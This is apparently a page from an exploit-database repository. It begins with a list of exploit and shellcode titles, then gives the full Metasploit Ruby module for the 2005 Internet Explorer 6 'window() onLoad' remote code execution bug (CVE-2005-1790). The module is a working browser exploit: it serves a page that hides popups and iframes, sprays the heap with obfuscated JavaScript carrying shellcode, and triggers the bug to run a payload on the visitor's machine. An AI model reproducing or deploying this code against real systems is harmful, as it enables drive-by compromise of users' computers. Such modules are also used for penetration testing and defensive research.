
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
193 lines
No EOL
5.3 KiB
Ruby
Executable file
193 lines
No EOL
5.3 KiB
Ruby
Executable file
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution Vulnerability',
|
|
'Description' => %q{
|
|
This bug is triggered when the browser handles a JavaScript 'onLoad' handler in
|
|
conjunction with an improperly initialized 'window()' JavaScript function.
|
|
This exploit results in a call to an address lower than the heap. The javascript
|
|
prompt() places our shellcode near where the call operand points to. We call
|
|
prompt() multiple times in separate iframes to place our return address.
|
|
We hide the prompts in a popup window behind the main window. We spray the heap
|
|
a second time with our shellcode and point the return address to the heap. I use
|
|
a fairly high address to make this exploit more reliable. IE will crash when the
|
|
exploit completes. Also, please note that Internet Explorer must allow popups
|
|
in order to continue exploitation.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Benjamin Tobias Franz', # Discovery
|
|
'Stuart Pearson', # Proof of Concept
|
|
'Sam Sharps' # Metasploit port
|
|
],
|
|
'References' =>
|
|
[
|
|
['MSB', 'MS05-054'],
|
|
['CVE', '2005-1790'],
|
|
['OSVDB', '17094'],
|
|
['URL', 'https://www.securityfocus.com/bid/13799/info'],
|
|
['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'],
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
'InitialAutoRunScript' => 'migrate -f',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1000,
|
|
'BadChars' => "\x00",
|
|
'Compat' =>
|
|
{
|
|
'ConnectionType' => '-find',
|
|
},
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Internet Explorer 6 on Windows XP', { 'iframes' => 4 } ],
|
|
[ 'Internet Explorer 6 Windows 2000', { 'iframes' => 8 } ],
|
|
],
|
|
'DisclosureDate' => 'Nov 21 2005',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def exploit
|
|
@var_redir = rand_text_alpha(rand(100)+1)
|
|
super
|
|
end
|
|
|
|
def auto_target(cli, request)
|
|
mytarget = nil
|
|
|
|
agent = request.headers['User-Agent']
|
|
print_status("Checking user agent: #{agent}")
|
|
|
|
if (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.1/)
|
|
mytarget = targets[0] # IE6 on XP
|
|
elsif (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.0/)
|
|
mytarget = targets[1] # IE6 on 2000
|
|
else
|
|
print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
|
|
end
|
|
|
|
mytarget
|
|
end
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
mytarget = auto_target(cli, request)
|
|
var_title = rand_text_alpha(rand(100) + 1)
|
|
func_main = rand_text_alpha(rand(100) + 1)
|
|
|
|
heapspray = ::Rex::Exploitation::JSObfu.new %Q|
|
|
function heapspray()
|
|
{
|
|
shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
|
|
var bigblock = unescape("#{Rex::Text.to_unescape(make_nops(4))}");
|
|
var headersize = 20;
|
|
var slackspace = headersize + shellcode.length;
|
|
while (bigblock.length < slackspace) bigblock += bigblock;
|
|
var fillblock = bigblock.substring(0,slackspace);
|
|
var block = bigblock.substring(0,bigblock.length - slackspace);
|
|
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
|
|
var memory = new Array();
|
|
for (i = 0; i < 250; i++){ memory[i] = block + shellcode }
|
|
|
|
var ret = "";
|
|
var fillmem = "";
|
|
|
|
for (i = 0; i < 500; i++)
|
|
ret += unescape("%u0F0F%u0F0F");
|
|
for (i = 0; i < 200; i++)
|
|
fillmem += ret;
|
|
|
|
prompt(fillmem, "");
|
|
}
|
|
|
|
|
heapspray.obfuscate
|
|
|
|
nofunc = ::Rex::Exploitation::JSObfu.new %Q|
|
|
|
|
if (document.location.href.indexOf("#{@var_redir}") == -1)
|
|
{
|
|
var counter = 0;
|
|
|
|
|
|
top.consoleRef = open('','BlankWindow',
|
|
'width=100,height=100'
|
|
+',menubar=0'
|
|
+',toolbar=1'
|
|
+',status=0'
|
|
+',scrollbars=0'
|
|
+',left=1'
|
|
+',top=1'
|
|
+',resizable=1')
|
|
self.focus()
|
|
|
|
|
|
for (counter = 0; counter < #{mytarget['iframes']}; counter++)
|
|
{
|
|
top.consoleRef.document.writeln('<iframe width=1 height=1 src='+document.location.href+'?p=#{@var_redir}</iframe>');
|
|
}
|
|
document.writeln("<body onload=\\"setTimeout('#{func_main}()',6000)\\">");
|
|
|
|
}
|
|
else
|
|
{
|
|
#{heapspray.sym('heapspray')}();
|
|
}
|
|
|
|
|
|
|
nofunc.obfuscate
|
|
|
|
main = %Q|
|
|
function #{func_main}()
|
|
{
|
|
document.write("<TITLE>#{var_title}</TITLE>");
|
|
document.write("<body onload=window();>");
|
|
|
|
window.location.reload();
|
|
}
|
|
|
|
|
|
|
html = %Q|
|
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
|
|
<html>
|
|
<head>
|
|
<meta http-equiv="Content-Language" content="en-gb">
|
|
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
|
|
<script>
|
|
#{nofunc}
|
|
#{heapspray}
|
|
#{main}
|
|
</script>
|
|
</head>
|
|
<body>
|
|
</body>
|
|
</html>
|
|
|
|
|
|
|
print_status("Sending #{self.name} to client #{cli.peerhost}")
|
|
# Transmit the compressed response to the client
|
|
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
|
|
|
|
# Handle the payload
|
|
handler(cli)
|
|
end
|
|
end |